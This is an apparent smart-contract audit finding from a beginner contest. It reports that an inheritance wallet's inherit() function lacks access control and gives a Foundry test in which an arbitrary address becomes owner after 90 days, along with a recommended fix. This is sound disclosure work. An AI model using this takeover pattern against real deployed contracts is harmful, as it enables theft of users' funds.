Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`inherit` function: the function lacks proper access control, allowing any address to take ownership of the contract after the deadline period

alekseyts

Summary

A critical vulnerability has been identified in the InheritanceManager contract's inherit function. The function lacks proper access control, allowing any address to take ownership of the contract after the deadline period, leading to complete control over the contract's assets and functionality.

Vulnerability Details

The vulnerability exists in the inheritance mechanism:

  1. Missing Access Control:

  • The inherit function lacks a modifier to restrict calls to beneficiaries only

  • Any external address can call the function after the deadline

  • Caller becomes the new owner of the contract

  1. Severe Consequences After Ownership Takeover:
    From the test comments, an attacker can:

  • Burn NFTs owned by the contract

  • Drain all ERC20 tokens via sendERC20

  • Steal all ETH via sendETH

  • Execute malicious contract interactions

  • Create unauthorized estate NFTs

  • Manipulate beneficiary list:

    • Add multiple attacker-controlled addresses as beneficiaries

    • Remove legitimate beneficiaries

    • Redirect funds to attacker addresses

The test demonstrates this by:

  1. Setting up contract with legitimate beneficiary

  2. Waiting for inheritance period (90 days)

  3. Having an unauthorized address (badGuy) call inherit()

  4. Showing badGuy successfully becomes owner

From the test:

//SPDX-License-Identifier: MIT
​
pragma solidity 0.8.26;
​
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
​
​
contract InheritanceManagerAuditTest is Test {
InheritanceManager im;
ERC20Mock usdc;
ERC20Mock weth;
​
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
​
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
usdc = new ERC20Mock();
weth = new ERC20Mock();
}
​
​
// test inherit: lose ownership of the contract
// missing modifier should be called from one of the beneficiaries
// negative consequences after losing control of the contract:
// burn NFT
// sendERC20
// sendETH
// contractInteractions
// createEstateNFT
// addBeneficiery can add many beneficiaries and reduce amount of real ones, take bigger percent for his badGuy' wallets
// removeBeneficiary remove existing ones and add his wallets and drain funds
// fix: it should set 1st beneficiary as an owner >> owner = beneficiaries[0]
function test_inherit_takeOwnershipFromRandomAddress() public {
address badGuy = makeAddr("badGuy");
​
vm.startPrank(owner);
im.addBeneficiery(user1);
vm.warp(1);
vm.stopPrank();
​
vm.warp(1 + 90 days);
​
vm.startPrank(badGuy);
im.inherit();
vm.stopPrank();
​
assertEq(badGuy, im.getOwner());
}
}
​

Impact

Critical severity. The vulnerability allows:

  • Complete takeover of contract ownership

  • Theft of all contract assets (ETH, ERC20, NFTs)

  • Manipulation of beneficiary system

  • Destruction of NFT assets

  • Execution of unauthorized contract interactions

Tools Used

  • Manual code review

  • Foundry test framework

  • Custom test cases demonstrating ownership takeover

  • Access control analysis

Recommendations

  1. Implement proper access control:

contract InheritanceManager {
modifier onlyBeneficiary() {
bool isBeneficiary = false;
for(uint i = 0; i < beneficiaries.length; i++) {
if(msg.sender == beneficiaries[i]) {
isBeneficiary = true;
break;
}
}
require(isBeneficiary, "Caller is not a beneficiary");
_;
}
​
function inherit() external onlyBeneficiary {
require(block.timestamp >= deadline, "Deadline not reached");
owner = beneficiaries[0]; // Transfer ownership to first beneficiary
// Additional logic...
}
}

  1. Implement secure ownership transfer:

  • Transfer ownership to first beneficiary by default

  • Add multi-signature requirements for critical actions

  • Implement timelock for ownership actions

  1. Add additional security measures:

  • Event logging for ownership changes

  • Timelock for critical functions after ownership transfer

  • Emergency pause mechanism

Updates

Lead Judging Commences

0xtimefliez Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!